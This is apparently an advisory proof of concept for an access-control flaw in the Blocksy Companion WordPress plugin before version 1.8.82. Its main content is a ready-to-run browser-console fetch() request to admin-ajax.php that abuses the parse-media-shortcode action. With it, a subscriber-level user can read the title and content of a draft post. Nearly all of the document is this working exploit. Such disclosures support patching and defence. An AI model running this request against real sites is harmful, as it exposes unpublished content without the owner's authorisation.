Blocksy Companion < 1.8.82 - Subscriber+ Draft Post Access

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[blocksy_posts post_ids='518']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The title and content of the draft post with ID 518 will be displayed in the response